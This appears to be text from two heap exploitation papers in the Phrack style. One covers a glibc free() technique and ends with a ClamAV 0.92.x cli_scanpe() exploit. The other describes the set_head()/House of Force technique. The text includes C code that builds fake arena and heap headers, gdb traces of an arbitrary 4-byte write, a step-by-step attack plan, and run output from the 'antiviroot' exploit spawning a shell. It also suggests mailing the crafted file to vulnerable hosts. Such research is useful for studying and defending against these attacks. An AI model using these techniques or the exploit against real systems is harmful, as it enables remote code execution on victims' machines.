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    mutex_lock(&ar_ptr->mutex); 

    ++(ar_ptr->stat_lock_wait); 

  } 

#else 

  mutex_lock(&ar_ptr->mutex); 

#endif 

--- snip --- 

 

In order to see what happens I had to delve into the internals of 

the NPTL library (also part of glibc). Since NPTL is out of the 

scope of this article I won't explain everything here. Briefly, the 

mutex is represented by a pthread_mutex_t structure consisting of 

5 integers. Giving invalid or random values to these integers will 

result in the code waiting until mutex's release. After messing 

with the NPTL internals, I noticed that setting all the integers 

to 0 will result in the mutex being acquired and locked properly. 

The code then continues execution without further problems. 

 

Right now there are no more restrictions, we can just place the 

value 0x08100020 (the heap header offset plus the heap header size) 

in the 'ar_ptr' field of the _heap_info structure, and give the 

value retloc-12 to bins[0] (where retloc is the return location 

where the return address will be written). Recall that the return 

address points to the 'prev_size' field of the chunk being freed, 

an integer under the attacker's control. What should one place 

there? This is another problem that needs to be solved. 

 

Since only a small amount of bytes is needed for the heap and the 

arena headers at 0x08100000 (or similar address), one can use this 

area for storing shellcode and nops as well. By setting the 'prev_size' 

field of the chunk being freed equal to a JMP instruction, one can 

branch some bytes ahead or backwards so that execution is transfered 

somewhere in 0x08100000 but, still, after the heap and arena headers! 

Valid locations are 0x08100000+X with X >= 72, that is, X should 

be an offset after the heap header and after bins[0]. This is not 

as complicated as it sounds, in fact, all addresses needed for 

exploitation are static and can be easily precalculated! 

 

The code below triggers a '4 bytes anywhere' condition. 

 

--- snip --- 

#include <stdio.h> 

#include <stdlib.h> 

#include <string.h> 

 

int main() { 

  char buffer[65535], *arena, *chunks; 

 

  /* Clean up the buffer. */ 

  bzero(buffer, sizeof(buffer)); 

 

  /* Pointer to the beginning of the arena header. */ 

  arena = buffer + 360; 

   

  /* Pointer to the arena header -- offset 0. */ 

  *(unsigned long int *)&arena[0]  = 0x08100000 + 12; 

 

  /* Arena flags -- offset 16. */ 

  *(unsigned long int *)&arena[16] = 2; 

 

  /* Pointer to fake top -- offset 60. */  
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  *(unsigned long int *)&arena[60]  = 0x08100000; 

  

  /* Return location minus 12 -- offset 68. */ 

  *(unsigned long int *)&arena[68]  = 0x41414141 - 12; 

 

  /* Available memory for this arena -- offset 1104. */ 

  *(unsigned long int *)&arena[1104]  = 0xffffffff; 

  

  /* Pointer to the second chunk's prev_size (shellcode). */ 

  chunks = buffer + 10240; 

  *(unsigned long int *)&chunks[0] = 0xdeadbeef; 

 

  /* Pointer to the second chunk. */ 

  chunks = buffer + 10244; 

 

  /* Size of the second chunk (PREV_INUSE+NON_MAIN_ARENA). */ 

  *(unsigned long int *)&chunks[0] = 0x00000055; 

 

  /* Pointer to the third chunk. */ 

  chunks = buffer + 10244 + 80; 

 

  /* Size of the third chunk (PREV_INUSE). */ 

  *(unsigned long int *)&chunks[0] = 0x00000051; 

 

  /* Pointer to the fourth chunk. */ 

  chunks = buffer + 10244 + 80 + 80; 

 

  /* Size of the fourth chunk (PREV_INUSE). */ 

  *(unsigned long int *)&chunks[0] = 0x00000051; 

 

  write(1, buffer, 10244 + 80 + 80 + 4); 

  return; 

} 

--- snip --- 

 

--- snip --- 

$ gcc exploit.c -o exploit 

$ ./exploit > VECTOR 

$ gdb -q ./test 

(gdb) b _int_free 

Function "_int_free" not defined. 

Make breakpoint pending on future shared library load? (y or [n]) y 

Breakpoint 1 (_int_free) pending. 

(gdb) run 722 1024 < VECTOR 

Starting program: /home/huku/test 722 1024 < VECTOR 

[~] Allocated 1024 bytes at 0x804a008-0x804a408 

[~] Allocated 1024 bytes at 0x804a410-0x804a810 

[~] Allocated 1024 bytes at 0x804a818-0x804ac18 

... 

... 

[~] Allocated 1024 bytes at 0x80ffa90-0x80ffe90 

[~] Chunk 1 at 0x80ffe98-0x8100298 

[~] Chunk 2 at 0x81026a0 

[~] Chunk 3 at 0x81026f0 

[~] Chunk 4 at 0x8102740 

[~] Freeing 0x81026a0 

 

Breakpoint 1, _int_free (av=0x810000c, mem=0x81026a0) at malloc.c:4552 

4552      p = mem2chunk(mem); 

(gdb) print *av 

$1 = {mutex = 1, flags = 2, fastbins = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 
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0x0, 0x0, 0x0}, top = 0x8100000, last_remainder = 0x0, bins = {0x41414135, 

0x0 <repeats 253 times>},  

  binmap = {0, 0, 0, 0}, next = 0x0, system_mem = 4294967295, 

max_system_mem = 0} 

--- snip --- 

 

It seems that all the values for the arena named 'av', are in 

position. 

 

--- snip --- 

(gdb) cont 

Continuing. 

 

Program received signal SIGSEGV, Segmentation fault. 

_int_free (av=0x810000c, mem=0x81026a0) at malloc.c:4698 

4698          fwd->bk = p; 

(gdb) print (void *)fwd 

$2 = (void *) 0x41414135 

(gdb) print (void *)fwd->bk 

Cannot access memory at address 0x41414141 

(gdb) print (void *)p       

$3 = (void *) 0x8102698 

(gdb) x/4bx p 

0x8102698:      0xef    0xbe    0xad    0xde 

(gdb) q 

The program is running.  Exit anyway? (y or n) y 

--- snip --- 

 

Indeed, 'fwd->bk' is the return location (0x41414141) and 'p' is 

the return address (the address of the 'prev_size' of the second 

chunk). The attacker placed there the data 0xdeadbeef. So, it's now 

just a matter of placing the nops and the shellcode at the proper 

location. This is, of course, left as an exercise for the reader 

(the .dtors section is your friend) :-) 

 

 

 

---[ VII. Putting it all together 

 

It's now time to develop a logical plan of what some attacker is 

supposed to do in order to take advantage of such a security hole. 

Although it should be quite clear by now, the steps required for 

successful exploitation are listed below. 

 

* An attacker must force the program perform sequential allocations 

in the heap and eventually control a chunk whose boundaries contain 

the new theoretical heap address. For example, if allocations start 

at 0x080XXXXX then they should allocate chunks until the one they 

control contains the address 0x08100000 within its bounds. The 

chunks should be larger than 64 bytes but smaller than the mmap() 

threshold. If the target program has already performed several 

allocations, it is highly possible that allocations start at 

0x08100000. 

 

* An attacker must make sure that they can overflow the chunk right 

next to the one under their control. For example, if the chunk from 

0x080XXXXX to 0x08101000 is under control, then chunk 0x08101001- 

0x0810XXXX should be overflowable (or just any chunk at 0x081XXXXX). 

 

* A fake heap header followed by a fake arena header should be 

placed at 0x08100000. Their base addresses in the VA space are 
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0x08100000 and 0x08100000 + sizeof(struct _heap_info) respectively. 

The bins[0] field of the fake arena header should be set equal to 

the return location minus 12 and the rules described in the previous 

section should be followed for better results. If there's enough 

room, one can also add nops and shellcode there, if not then 

imagination is the only solution (the contents of the following 

chunk are under the attacker's control as well). 

 

* A heap overflow should be forced via a memcpy(), bcopy(), read() 

or similar functions. The exploitation vector should be just like 

the one created by the code in the previous section. Schematically, 

it looks like the following figure (the pipe character indicates 

the chunk boundaries). 

 

[heap_hdr][arena_hdr][...]|[AAAA][...]|[BBBB][...]|[CCCC] 

 

  [heap_hdr] -> The fake heap header. It should be placed on an 

  address aligned to 1Mb e.g 0x08100000. 

 

  [arena_hdr] -> The fake arena header. 

 

  [...] -> Irrelevant data, garbage, alphas etc. If there's enough 

  room, one can place nops and shellcode here. 

 

  [AAAA] -> The size of the second chunk plus PREV_INUSE and 

  NON_MAIN_ARENA. 

 

  [BBBB] -> The size of the third chunk plus PREV_INUSE. 

 

  [CCCC] -> The size of the fourth chunk plus PREV_INUSE. 

 

* The attacker should be patient enough to wait until the chunk 

right next to the one she controls is freed. Voila! 

 

Although this technique can be quite lethal as well as straightforward, 

unfortunately it's not as generic as the heap overflows of the good 

old days. That is, when applied, it can achieve immediate and 

trustworthy results. However, it has a higher complexity than, for 

example, common stack overflows, thus certain prerequisites should 

be met before even someone attempts to deploy such an attack. More 

precisely, the following conditions should be true. 

 

* The target chunks should be larger than 64 bytes and less than 

the mmap() threshold. 

 

* An attacker must have the ability to control 4 sequential chunks 

either directly allocated or fake ones constructed by them. 

 

* An attacker must have the ability to write null bytes. That is, 

one should be able to overflow the chunks via memcpy(), bcopy(), 

read() or similar since strcpy() or strncpy() will not work! This 

is probably the most important precondition for this technique. 

 

 

---[ VIII. The ClamAV case  

 

--[ 1. The bug 

 

Let's use the knowledge described so far to build a working exploit 

for a known application. After searching at secunia.com for heap 

overflows, I came up with a list of possible targets, the most 
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notable one being ClamAV. The cli_scanpe() integer overflow was a 

really nice idea, so, I decided to research it a bit (the related 

advisory is published at [12]). The exploit code for this vulnerability, 

called 'antiviroot', can be found in the 'Attachments' section in 

uuencoded format. 

 

Before attempting to audit any piece of code, the potential attacker 

is advised to build ClamAV using a custom version of glibc with 

debugging symbols (I also modified glibc a bit to print various 

stuff). After following Chariton's ideas described at [11], one can 

build ClamAV using the commands of the following snippet. It is 

rather complicated but works fine. This trick is really useful if 

one is about to use gdb during the exploit development. 

 

--- snip --- 

$ export LDFLAGS=-L/home/huku/test_builds/lib -L/usr/local/lib -L/usr/lib 

$ export CFLAGS=-O0 -nostdinc \ 

> -I/usr/lib/gcc/i686-pc-linux-gnu/4.2.2/include \ 

> -I/home/huku/test_builds/include -I/usr/include -I/usr/local/include \ 

> -Wl,-z,nodeflib \  

> -Wl,-rpath=/home/huku/test_builds/lib -B /home/huku/test_builds/lib \ 

> -Wl,--dynamic-linker=/home/huku/test_builds/lib/ld-linux.so.2 

$ ./configure --prefix=/usr/local && make && make install 

--- snip --- 

 

When make has finished its job, we have to make sure everything is 

ok by running ldd on clamscan and checking the paths to the shared 

libraries. 

 

--- snip --- 

$ ldd /usr/local/bin/clamscan  

 linux-gate.so.1 =>  (0xb7ef4000) 

 libclamav.so.2 => /usr/local/lib/libclamav.so.2 (0xb7e4e000) 

 libpthread.so.0 => /home/huku/test_builds/lib/libpthread.so.0 (0xb7e37000) 

 libc.so.6 => /home/huku/test_builds/lib/libc.so.6 (0xb7d08000) 

 libz.so.1 => /usr/lib/libz.so.1 (0xb7cf5000) 

 libbz2.so.1.0 => /usr/lib/libbz2.so.1.0 (0xb7ce5000) 

 libnsl.so.1 => /home/huku/test_builds/lib/libnsl.so.1 (0xb7cd0000) 

 /home/huku/test_builds/lib/ld-linux.so.2 (0xb7ef5000) 

--- snip --- 

 

Now let's focus on the buggy code. The actual vulnerability exists 

in the preprocessing of PE (Portable Executable) files, the well 

known Microsoft Windows executables. Precisely, when ClamAV attempts 

to dissect the headers produced by a famous packer, called MEW, an 

integer overflow occurs which later results in an exploitable 

condition. Notice that this bug can be exploited using various 

techniques but for demonstration purposes I'll stick to the one I 

presented here. In order to have a more clear insight on how things 

work, you are also advised to read the Microsoft PE/COFF specification 

[13] which, surprisingly, is free for download. 

 

Here's the vulnerable snippet, libclamav/pe.c function cli_scanpe(). 

I actually simplified it a bit so that the exploitable part becomes 

more clear. 

 

--- snip --- 

ssize = exe_sections[i + 1].vsz; 

dsize = exe_sections[i].vsz; 

... 
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src = cli_calloc(ssize + dsize, sizeof(char)); 

... 

 

bytes = read(desc, src + dsize, exe_sections[i + 1].rsz); 

--- snip -- 

 

First, 'ssize' and 'dsize' get their initial values which are 

controlled by the attacker. These values represent the virtual size 

of two contiguous sections of the PE file being scanned (don't try 

to delve into the MEW packer details since you won't find any 

documentation which will be useless even if you will). The sum of 

these user supplied values is used in cli_calloc() which, obviously, 

is just a calloc() wrapper. This allows for an arbitrary sized heap 

allocation, which can later be used in the read operation. There 

are endless scenarios here, but lets see what are the potentials 

of achieving code execution using the new free() exploitation 

technique. 

 

Several limitations that are imposed before the vulnerable snippet 

is reached, make the exploitation process overly complex (MEW fixed 

offsets, several bound checks on PE headers etc). Let's ignore them 

for now since they are only interesting for those who are willing 

to code an exploit of their own. What we are really interested in, 

is just the core idea behind this exploit. 

 

Since 'dsize' is added to 'src' in the read() operation, the attacker 

can give 'dsize' such a value, so that when added to 'src', the 

heap address of 'src' is eventually produced (via an integer 

overflow). Then, read(), places all the user supplied data there, 

which may contain specially crafted heap and arena headers, etc. 

So schematically, the situation looks like the following figure 

(assuming the 'src' pointer has a value of 0xdeadbeef): 

 

   0xdea00000                   0xdeadbeef 

...+----------+-----------+-...-+-------------+--------------+... 

   | Heap hdr | Arena hdr |     | Chunk 'src' | Other chunks | 

...+----------+-----------+-...-+-------------+--------------+... 

 

So, if one manages to overwrite the whole region, from the heap 

header to the 'src' chunk, then they can also overwrite the chunks 

neighboring 'src' and perform the technique presented earlier. But 

there are certain obstacles which can't be just ignored: 

 

* From 0xdea00000 to 0xdeadbeef various chunks may also be present, 

and overwriting this region may result in premature terminations 

of the ClamAV scan process. 

 

* 3 More chunks should be present right after the 'src' chunk and 

they should be also alterable by the overflow. 

 

* One needs the actual value of the 'src' pointer. 

 

Fortunately, there's a solution for each of them: 

 

* One can force ClamAV not to mess with the chunks between the heap 

header and the 'src' chunk. An attacker may achieve this by following 

a precise vulnerable path. 

 

* Unfortunately, due to the heap layout during the execution of the 

buggy code, there are no chunks right after 'src'. Even if there 

were, one wouldn't be able to reach them due to some internal size 
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checks in the cli_scanpe() code. After some basic math calculations 

(not presented here since they are more or less trivial), one can 

prove that the only chunk they can overwrite is the chunk pointed 

by 'src'. Then, cli_calloc() can be forced to allocate such a chunk, 

where one can place 4 fake chunks of a size larger than 72. This 

is exactly the same situation as having 4 contiguous preallocated 

heap chunks! :-) 

 

* Since the heap is, by default, not randomized, one can precalculate 

the 'src' value using gdb or some custom malloc() debugger (just 

like I did). This specific bug is hard to exploit when randomization 

is enabled. On the contrary, the general technique presented in 

this article, is immune to such security measures. 

 

Optionally, an attacker can force ClamAV allocate the 'src' chunk 

somewhere inside a heap hole created by realloc() or free(). This 

allows for the placement of the target chunk some bytes closer to 

the fake heap and arena headers, which, in turn, may allow for 

bypassing certain bound checks. Before the vulnerable snippet is 

reached, the following piece of code is executed: 

 

--- snip --- 

section_hdr = (struct pe_image_section_hdr *)cli_calloc(nsections,  

  sizeof(struct pe_image_section_hdr)); 

... 

 

exe_sections = (struct cli_exe_section *)cli_calloc(nsections, 

  sizeof(struct cli_exe_section)); 

... 

 

free(section_hdr); 

--- snip --- 

 

This creates a hole at the location of the 'section_hdr' chunk. By 

carefully computing values for 'dsize' and 'ssize' so that their 

sum equals the product of 'nsections' and 'sizeof(struct 

pe_image_section_hdr)', one can make cli_calloc() reclaim the heap 

hole and return it (this is what antiviroot actually does). Notice 

that apart from the aforementioned condition, the value of 'dsize' 

should be such, so that 'src + dsize' equals to the heap address 

of 'src' (a.k.a. 'heap_for_ptr(src)'). 

 

Finally, in order to trigger the vulnerable path in malloc.c, a 

free() should be issued on the 'src' chunk. This should be performed 

as soon as possible, since the MEW unpacking code may mess with the 

contents of the heap and eventually break things. Hopefully, the 

following code can be triggered in the ClamAV source. 

 

--- snip --- 

if(buff[0x7b] == '\xe8') { 

  ... 

 

  if(!CLI_ISCONTAINED(exe_sections[1].rva, exe_sections[1].vsz, 

    cli_readint32(buff + 0x7c) + fileoffset + 0x80, 4)) { 

    ... 

 

    free(src); 

  } 

} 

--- snip --- 

 



[4. Yet another free() exploitation technique - huku] 

 

  Page 
166 

 
  

By planting the value 0xe8 in offset 0x7b of 'buff' and by forcing 

CLI_ISCONTAINED() to fail, one can force ClamAV to call free() on 

the 'src' chunk (the chunk whose header contains the NON_MAIN_ARENA 

flag when the read() operation completes). A '4 bytes anywhere' 

condition eventually takes place. In order to prevent ClamAV from 

crashing on the next free(), one can overwrite the .got address of 

free() and wait. 

 

--[ 2. The exploit 

 

So, here's how the exploit for this ClamAV bug looks like. For more 

info on the exploit usage you can check the related README file in 

the attachment. This code creates a specially crafted .exe file, 

which, when passed to clamscan, spawns a shell. 

 

--- snip --- 

$ ./antiviroot -a 0x98142e0 -r 0x080541a8 -s 441 

CLAMAV 0.92.x cli_scanpe() EXPLOIT / antiviroot.c  

huku / huku _at_ grhack _dot_ net 

 

[~] Using address=0x098142e0 retloc=0x080541a8 size=441 file=exploit.exe 

[~] Corrected size to 480 

[~] Chunk 0x098142e0 has real address 0x098142d8 

[~] Chunk 0x098142e0 belongs to heap 0x09800000 

[~] 0x098142d8-0x09800000 = 82648 bytes space (0.08M) 

[~] Calculating ssize and dsize 

[~] dsize=0xfffebd20 ssize=0x000144c0 size=480 

[~] addr=0x098142e0 + dsize=0xfffebd20 = 0x09800000 (should be 0x09800000) 

[~] dsize=0xfffebd20 + ssize=0x000144c0 = 480 (should be 480) 

[~] Available space for exploitation 488 bytes (0.48K) 

[~] Done 

$ /usr/local/bin/clamscan exploit.exe  

LibClamAV Warning: ************************************************** 

LibClamAV Warning: ***  The virus database is older than 7 days.  *** 

LibClamAV Warning: ***        Please update it IMMEDIATELY!       *** 

LibClamAV Warning: ************************************************** 

... 

 

sh-3.2$ echo yo 

yo 

sh-3.2$ exit 

exit 

--- snip --- 

 

A more advanced scenario would be attaching the executable file and 

mailing it to a couple of vulnerable hosts and... KaBooM! Eventually, 

it seems that our technique is quite lethal even for real life 

scenarios. More advancements are possible, of course, they are left 

as an exercise to the reader :-) 

 

 

---[ IX. Epilogue  

 

Personally, I belong with those who believe that the future of 

exploitation lies somewhere in kernelspace. The various userspace 

techniques are, like g463 said, more or less ephemeral. This paper 

was just the result of some fun I had with the glibc malloc() 

implementation, nothing more, nothing less. 

 

Anyway, all that stuff kinda exhausted me. I wouldn't have managed 

to write this article without the precious help of GM, eidimon and 
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Slasher (yo guys!). 

 

Dedicated to the r00thell clique -- Wherever you are and whatever 

you do, I wish you guys (and girls ;-) all the best. 
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--[ 1 - Introduction 

 

Many papers have been published in the past describing techniques on how to 

take advantage of the inbound memory management in the GNU C Library 
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implementation.  A first technique was introduced by Solar Designer in his 

security advisory on a flaw in the Netscape browser[1].  Since then, many 

improvements have been made by many different individuals ([2], [3], [4], 

[5], [6] just to name a few).  However, there is always one situation that 

gives a lot more trouble than others.  Anyone who has already tried to take 

advantage of that situation will agree. How to take control of a vulnerable 

program when the only critical information that you can overwrite is the 

header of the wilderness chunk? 

 

The set_head technique is a new way to obtain a "write almost 4 arbitrary 

bytes to almost anywhere" primitive. It was born because of a bug in the 

file(1) utility that the author was unable to exploit with existing 

techniques. 

 

This paper will present the details of the technique.  Also, it will show 

you how to practically apply this technique to other exploits.  The 

limitations of the technique will also be presented.  Finally, some 

examples will be shown to better understand the various aspects of the 

technique. 

 

 

--[ 2 - The set_head() technique 

 

Most of the time, people who write exploits using malloc techniques are not 

aware of the difficulties that the wilderness chunk implies until they face 

the problem.  It is only at this exact time that they realize how the known 

techniques (i.e. unlink, etc.) have no effect on this particular context. 

 

As MaXX once said [3]: "The wilderness chunk is one of the most dangerous 

opponents of the attacker who tries to exploit heap mismanagement. Because 

this chunk of memory is handled specially by the dlmalloc internal 

routines, the attacker will rarely be able to execute arbitrary code if 

they solely corrupt the boundary tag associated with the wilderness chunk." 

 

 

----[ 2.1 - A look at the past - "The House of Force" technique 

 

To better understand the details of the set_head() technique explained in 

this paper, it would be helpful to first understand what has already been 

done on the subject of exploiting the top chunk. 

 

This is not the first time that the exploitation of the wilderness chunk 

has been specifically targeted.  The pioneer of this type of exploitation 

is Phantasmal Phantasmagoria. 

 

He first wrote an article entitled "Exploiting the wilderness" about it in 

2004.  Details of this technique are out of scope for the current paper, 

but you can learn more about it by reading his paper [5]. 

 

He gave a second try at exploiting the wilderness in his excellent paper 

"Malloc Maleficarum" [4].  He named his technique "The House of Force".  To 

better understand the set_head() technique, the "House of Force" is 

described below. 

 

The idea behind "The House of Force" is quite simple but there are specific 

steps that need to be followed.  Below, you will find a brief summary of 

all the steps. 

 

 

Step one: 
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The first step in the "House of Force" consists in overflowing the size 

field of the top chunk to make the malloc library think it is bigger than 

it actually is.  The preferred new size of the top chunk should be 

0xffffffff.  Below is a an ascii graphic of the memory layout at the time 

of the overflow.  Notice that the location of the top chunk is somewhere in 

the heap. 

 

 

                0xbfffffff  -> +-----------------+ 

                               |                 | 

                               |     stack       | 

                               |                 | 

                               :                 : 

                               :                 : 

                               .                 . 

                               :                 : 

                               :                 : 

                               |                 | 

                               |                 | 

                               |      heap       |<--- Top chunk 

                               |                 | 

                               +-----------------+ 

                               |  global offset  | 

                               |      table      | 

                               +-----------------+ 

                               |                 | 

                               |                 | 

                               |      text       | 

                               |                 | 

                               |                 | 

                0x08048000  -> +-----------------+ 

 

 

Step two: 

 

After this, a call to malloc with a user-supplied size should be issued. 

With this call, the top chunk will be split in two parts.  One part will be 

returned to the user, and the other part will be the remainder chunk (the 

top chunk). 

 

The purpose of this step is to move the top chunk right before a global 

offset table entry.  The new location of the top chunk is the sum of the 

current address of the top chunk and the value of the malloc call.  This 

sum is done with the following line of code: 

 

        --[ From malloc.c 

 

        remainder = chunk_at_offset(victim, nb); 

 

After the malloc call, the memory layout should be similar to the 

representation below: 
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                0xbfffffff  -> +-----------------+ 

                               |                 | 

                               |     stack       | 

                               |                 | 

                               :                 : 

                               :                 : 

                               .                 . 

                               :                 : 

                               :                 : 

                               |                 | 

                               |                 | 

                               |      heap       | 

                               |                 | 

                               +-----------------+ 

                               |  global offset  | 

                               |      table      | 

                               +-----------------+<--- Top chunk 

                               |                 | 

                               |                 | 

                               |      text       | 

                               |                 | 

                               |                 | 

                0x08048000  -> +-----------------+ 

 

 

Step three: 

 

Finally, another call to malloc needs to be done.  This one needs to be 

large enough to trigger the top chunk code.  If the user has some sort of 

control over the content of this buffer, he can then overwrite entries 

inside the global offset table and he can seize control of the process. 

Look at the following representation for the current memory layout at the 

time of the allocation: 

 

 

                0xbfffffff  -> +-----------------+ 

                               |                 | 

                               |     stack       | 

                               |                 | 

                               :                 : 

                               :                 : 

                               .                 . 

                               :                 : 

                               :                 : 

                               |                 | 

                               |                 | 

                               |      heap       |<---- Top chunk 

                               |                 |---+ 

                               +-----------------+   | 

                               |  global offset  |   |- Allocated memory 

                               |      table      |   | 

                               +-----------------+---+ 

                               |                 | 

                               |                 | 

                               |      text       | 

                               |                 | 

                               |                 | 

                0x08048000  -> +-----------------+ 
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----[ 2.2 - The basics of set_head() 

 

Now that the basic review of the "House of Force" technique is done, let's 

look at the set_head() technique.  The basic idea behind this technique is 

to use the set_head() macro to write almost four arbitrary bytes to almost 

anywhere in memory.  This macro is normally used to set the value of the 

size field of a memory chunk to a specific value.  Let's have a peak at the 

code: 

 

        --[ From malloc.c: 

 

        /* Set size/use field */ 

        #define set_head(p, s)       ((p)->size = (s)) 

 

 

This line is very simple to understand.  It takes the memory chunk 'p', 

modifies its size field and replace it with the value of the variable 's'. 

If the attacker has control of those two parameters, it may be possible to 

modify the content of an arbitrary memory location with a value that he 

controls. 

 

To trigger the particular call to set_head() that could lead to this 

arbitrary overwrite, two specific steps need to be followed.  These steps 

are described below. 

 

 

First step: 

 

The first step of the set_head() technique consists in overflowing the size 

field of the top chunk to make the malloc library think it is bigger than 

it actually is.  The specific value that you will overwrite with will 

depend on the parameters of the exploitable situation.  Below is an ascii 

graphic of the memory layout at the time of the overflow.  Notice that the 

location of the top chunk is somewhere in the heap. 

 

 

                0xbfffffff  -> +-----------------+ 

                               |                 | 

                               |      stack      | 

                               |                 | 

                               :                 : 

                               :                 : 

                               .                 . 

                               :                 : 

                               :                 : 

                               |                 | 

                               |                 | 

                               |      heap       |<--- Top chunk 

                               |                 | 

                               +-----------------+ 

                               |                 | 

                               |      data       | 

                               |                 | 

                               +-----------------+ 

                               |                 | 

                               |                 | 

                               |      text       | 

                               |                 | 

                               |                 | 

                0x08048000  -> +-----------------+ 
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Second step: 

 

After this, a call to malloc with a user-supplied size should be issued. 

With this call, the top chunk will be split in two parts.  One part will be 

returned to the user, and the other part will be the remainder chunk (the 

top chunk). 

 

The purpose of this step is to move the top chunk before the location that 

you want to overwrite.  This location needs to be on the stack, and you 

will see why at section 4.2.2.  During this step, the malloc code will set 

the size of the new top chunk with the set_head() macro.  Look at the 

representation below to better understand the memory layout at the time of 

the overwrite: 

 

 

                0xbfffffff  -> +-----------------+ 

                               |                 | 

                               |      stack      | 

                               |                 | 

                               +-----------------+ 

                               | size of topchunk| 

                               +-----------------+ 

                               |prev_size not use| 

                               +-----------------+<--- Top chunk 

                               |                 | 

                               :                 : 

                               :                 : 

                               .                 . 

                               :                 : 

                               :                 : 

                               |                 | 

                               |                 | 

                               |      heap       | 

                               |                 | 

                               +-----------------+ 

                               |                 | 

                               |      data       | 

                               |                 | 

                               +-----------------+ 

                               |                 | 

                               |                 | 

                               |      text       | 

                               |                 | 

                               |                 | 

                0x08048000  -> +-----------------+ 

 

 

If you control the new location of the top chunk and the new size of the 

top chunk, you can get a "write almost 4 arbitrary bytes to almost 

anywhere" primitive. 

 

 

----[ 2.3 - The details of set_head() 

 

The set_head macro is used many times in the malloc library.  However, it's 

used at a particularly interesting emplacement where it's possible to 

influence its parameters.  This influence will let the attacker overwrite 4 

bytes in memory with a value that he can control. 

 

When there is a call to malloc, different methods are tried to allocate the 
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requested memory.  MaXX did a pretty great job at explaining the malloc 

algorithm in section 3.5.1 of his text[3].  Reading his text is highly 

suggested before continuing with this text.  Here are the main points of 

the algorithm: 

 

        1. Try to find a chunk in the bin corresponding to the size of the 

           request; 

 

        2. Try to use the remainder chunk; 

 

        3. Try to find a chunk in the regular bins. 

 

 

If those three steps fail, interesting things happen.  The malloc function 

tries to split the top chunk.  The 'use_top' code portion is then called. 

It's in that portion of code that it's possible to take advantage of a call 

to set_head().  Let's analyze the use_top code: 

 

--[ From malloc.c 

 

01 Void_t* 

02 _int_malloc(mstate av, size_t bytes) 

03 { 

04   INTERNAL_SIZE_T nb;               /* normalized request size */ 

05 

06   mchunkptr       victim;           /* inspected/selected chunk */ 

07   INTERNAL_SIZE_T size;             /* its size */ 

08 

09   mchunkptr       remainder;        /* remainder from a split */ 

10   unsigned long   remainder_size;   /* its size */ 

11 

12 

13   checked_request2size(bytes, nb); 

14 

15 [ ... ] 

16 

17     use_top: 

18 

19     victim = av->top; 

20     size = chunksize(victim); 

21 

22     if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { 

23       remainder_size = size - nb; 

24       remainder = chunk_at_offset(victim, nb); 

25       av->top = remainder; 

26       set_head(victim, nb | PREV_INUSE | 

27                (av != &main_arena ? NON_MAIN_ARENA : 0)); 

28       set_head(remainder, remainder_size | PREV_INUSE); 

29 

30       check_malloced_chunk(av, victim, nb); 

31       return chunk2mem(victim); 

32     } 

 

 

All the magic happens at line 28.  By forcing a particular context inside 

the application, it's possible to control set_head's parameters and then 

overwrite almost any memory addresses with almost four arbitrary bytes. 

 

Let's see how it's possible to control these two parameters, which are 

'remainder' and 'remainder_size' : 
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        1. How to get control of 'remainder_size': 

 

           a. At line 13, 'nb' is filled with the normalized size of the 

              value of the malloc call.  The attacker should have control 

              on the value of this malloc call. 

 

           b. Remember that this technique requires that the size field of 

              the top chunk needs to be overwritten by the overflow.  At 

              line 19 & 20, the value of the overwritten size field of the 

              top chunk is getting loaded in 'size'. 

 

           c. At line 22, a check is done to ensure that the top chunk is 

              large enough to take care of the malloc request.  The 

              attacker needs that this condition evaluates to true to reach 

              the set_head() macro at line 28. 

 

           d. At line 23, the requested size of the malloc call is 

              subtracted from the size of the top chunk.  The remaining 

              value is then stored in 'remainder_size'. 

 

 

        2. How to get control of 'remainder': 

 

           a. At line 13, 'nb' is filled with the normalized size of the 

              value of the malloc call.  The attacker should have control 

              of the value of this malloc call. 

 

           b. Then, at line 19, the variable 'victim' gets filled with the 

              address of the top chunk. 

 

           c. After this, at line 24, chunk_at_offset() is called.  This 

              macro adds the content of 'nb' to the value of 'victim'.  The 

              result will be stored in 'remainder'. 

 

 

Finally, at line 28, the set_head() macro modifies the size field of the 

fake remainder chunk and fills it with the content of the variable 

'remainder_size'.  This is how you get your "write almost 4 arbitrary bytes 

to almost anywhere in memory" primitive. 

 

 

--[ 3 - Automation 

 

It was explained in section 2.3 that the variables 'remainder' and 

'remainder_size' will be used as parameters to the set_head macro.  The 

following steps will explain how to proceed in order to get the desired 

value in those two variables. 

 

 

----[ 3.1 - Define the basic properties 

 

Before trying to exploit a security hole with the set_head technique, the 

attacker needs to define the parameters of the vulnerable context.  These 

parameters are: 

 

        1. The return location:  This is the location in memory that you 

           want to write to.  It is often referred as 'retloc' through this 

           paper. 

 

        2. The return address: This is the content that you will write to 
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           your return location.  Normally, this will be a memory address 

           that points to your shellcode.  It is often referred as 'retadr' 

           through this paper. 

 

        3. The location of the topchunk: To use this technique, you must 

           know the exact position of the top chunk in memory.  This 

           location is often referred as 'toploc' through this paper. 

 

 

----[ 3.2 - Extract the formulas 

 

The attacker has control on two things during the exploitation stage. 

First, the content of the overwritten top chunk's size field and secondly, 

the size parameter to the malloc call.  The values that the attacker 

chooses for these will determine the exact content of the variables 

'remainder' and 'remainder_size' later used by the set_head() macro. 

 

Below, two formulas are presented to help the attacker find the appropriate 

values. 

 

 

        1. How to get the value for the malloc parameter: 

 

           a. The following line is taken directly from the malloc.c code: 

 

              remainder = chunk_at_offset(victim, nb) 

 

           b. 'nb' is the normalized value of the malloc call.  It's the 

              result of the macro request2size().  To make things simpler, 

              let's add 8 to this value to take care of this macro: 

 

              remainder = chunk_at_offset(victim, nb + 8) 

 

           c. chunk_at_offset() adds the normalized size 'nb' to the top 

              chunk's location: 

 

              remainder = toploc + (nb + 8) 

 

           e. 'remainder' is the return location (i.e. 'retloc') and 'nb' 

              is the malloc size (i.e. 'malloc_size'): 

 

              retloc = toploc + (malloc_size + 8) 

 

           d. Isolate the 'malloc_size' variable to get the final formula: 

 

              malloc_size = (retloc - toploc - 8) 

 

 

        2. The second formula is how to get the new size of the top chunk. 

 

           a. The following line is taken directly from the malloc.c code: 

 

              remainder_size = size - nb; 

 

           b. 'size' is the size of the top chunk (i.e. 'topchunk_size'), 

              and 'nb' is the normalized parameter of the malloc call 

              (i.e. 'malloc_size'): 

 

              remainder_size = topchunk_size - malloc_size 

 

           c. 'remainder_size' is in fact the return address 
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              (i.e. retadr'): 

 

              retadr = topchunk_size - malloc_size 

 

           d. Isolate 'topchunk_size' to get the final formula: 

 

              topchunk_size = retadr + malloc_size 

 

